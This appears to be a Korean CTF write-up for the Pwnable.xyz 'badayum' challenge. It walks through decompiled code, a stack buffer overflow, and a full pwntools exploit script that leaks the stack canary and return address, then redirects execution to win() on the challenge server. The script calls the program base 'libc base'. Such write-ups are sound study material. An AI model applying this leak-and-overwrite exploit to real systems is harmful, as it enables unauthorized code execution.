tmxklab

[Pwnable.xyz] badayum 본문

War Game/Pwnable.xyz

[Pwnable.xyz] badayum

tmxk4221 2020. 9. 9. 22:27

1. 문제

nc svc.pwnable.xyz 30027

 

1) mitigation 확인

 

2) 문제 확인

  • 계속 입력을 받을 수 있고 score가 계속 깎이고 있다.

 

3) 코드흐름 파악

3-1) main()

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  init_func();
  puts("Yolo yada yada - Play with me!");
  puts("===========================================");
  start_main();
  return 0LL;
}

 

3-2) start_main()

unsigned __int64 start_main()
{
  size_t v0; // rax
  size_t v2; // rax
  char *s1; // [rsp+8h] [rbp-78h]
  char s; // [rsp+10h] [rbp-70h]
  unsigned __int64 v5; // [rsp+78h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  while ( 1 )
  {
    s1 = sub_D48();
    memset(&s, 0, 0x64uLL);
    printf("Your score: %d\n", score);
    printf("me  > %s\n", s1);
    printf("you > ");
    v0 = strlen(s1);
    read(0, &s, v0 + 1);
    if ( !strncmp(&s, "exit", 4uLL) )
      break;
    v2 = strlen(s1);
    if ( !strncmp(s1, &s, v2) )
    {
      printf("You said: %s", &s);
      puts("Yay, you're good at this, let's go on :)\n");
      ++score;
    }
    else
    {
      printf("You said: %s", &s);
      puts("I don't think you understood how this game works :(\n");
      --score;
    }
    free(s1);
  }
  free(s1);
  puts("Ya go away, I don't want to play with you anymore anyways :P\n");
  return __readfsqword(0x28u) ^ v5;
}
  • SUB_D48()의 리턴 값으로 s1에 저장한다.
  • score(전역변수)를 출력하고 read(0, s, strlen(s1)+1)을 호출한다.
  • s1과 s의 문자열이 같으면 s값 출력하고 score 증가
  • 같지 않아도 s값 출력하고 그대신 score감소

 


2. 접근방법

 

start_main()에서 sub_D48()의 반환 값을 s1에 저장하고 read(0, s, strlen(s1)+1)을 통해 s변수[rbp-0x70]에 입력 값을 저장하고 출력하는 것 같다. 그리고 디버깅한 결과 sub_D48()의 반환 값은 랜덤한 값을 준다.

  • 입력할 수 있는 size가 계속 변한다.(size는 "dada-..." 이렇게 출력되는 문자열의 길이에 1을 더한 값이다.)
  • buf[rbp-0x70]에 입력 값이 들어가며 0x77, 0x78byte까지 입력 값을 받는 것을 통해 bof가 가능하다.

 

[rbp-0x8]에 canary가 존재하므로 canary부터 릭하여 카나리 값을 구하고 ret인 [rbp+0x8]부분에 메인 함수의 주소 값이 저장되어 있으니깐 libc base주소를 구할 수 있다.

  • [rbp+0x8]에는 다시 돌아갈 주소 즉, main함수의 0x1081(offset임)주소 값이 저장되어 있다.

 

공격 프로세스)

  • canary를 릭하여 canary값을 구한다.
  • strat_main()의 ret값을 릭하여 libc base주소를 구한다.
  • libc base주소를 통해 win()의 주소 값을 구하여 start_main()의 ret에 win()를 넣는다.

 


3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30027)
#gdb.attach(p)

# 1. leak canary
while True:
    p.recvuntil("me  > ")
    data = p.recvuntil("you")
    length = len(data)-3

    log.info("length : "+str(length))
    if length >= 0x70:
        p.sendafter("> ", "A"*0x67+"BB")
        break
    else:
        p.sendafter("> ", "A")


p.recvuntil("B")
canary = u64(p.recv(8))-0x42

log.info("canary : "+hex(canary))


# 2. leak ret
while True:
    p.recvuntil("me  > ")
    data = p.recvuntil("you")
    length = len(data)-3

    log.info("length : "+str(length))
    if length >= 0x78:
        p.sendafter("> ", "A"*0x77+"B")
        break
    else:
        p.sendafter("> ", "A")


p.recvuntil("B")
main_addr = u64(p.recv(6).ljust(8, '\x00'))
main_addr -= 0x36
main_offset = 0x104b
win_offset = 0xd30
libc_base = main_addr - main_offset
win_addr = libc_base + win_offset

log.info("main addr : "+hex(main_addr))
log.info("win addr  : "+hex(win_addr))
log.info("libc_base : "+hex(libc_base))

payload = "A"*0x68
payload += p64(canary)
payload += "A"*0x8
payload += p64(win_addr)

# 3. RTL
while True:
    p.recvuntil("me  > ")
    data = p.recvuntil("you")
    length = len(data)-3

    log.info("length : "+str(length))
    if length >= 0x80:
        p.sendafter("> ", payload)
        break
    else:
        p.sendafter("> ", "A")

p.sendafter("you > ", "exit")

p.interactive()

 

 

2) 실행결과

 


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] note v2  (0) 2020.09.09
[Pwnable.xyz] executioner v2  (0) 2020.09.09
[Pwnable.xyz] password  (0) 2020.09.09
[Pwnable.xyz] executioner  (0) 2020.09.09
[Pwnable.xyz] punch it  (0) 2020.09.09
Comments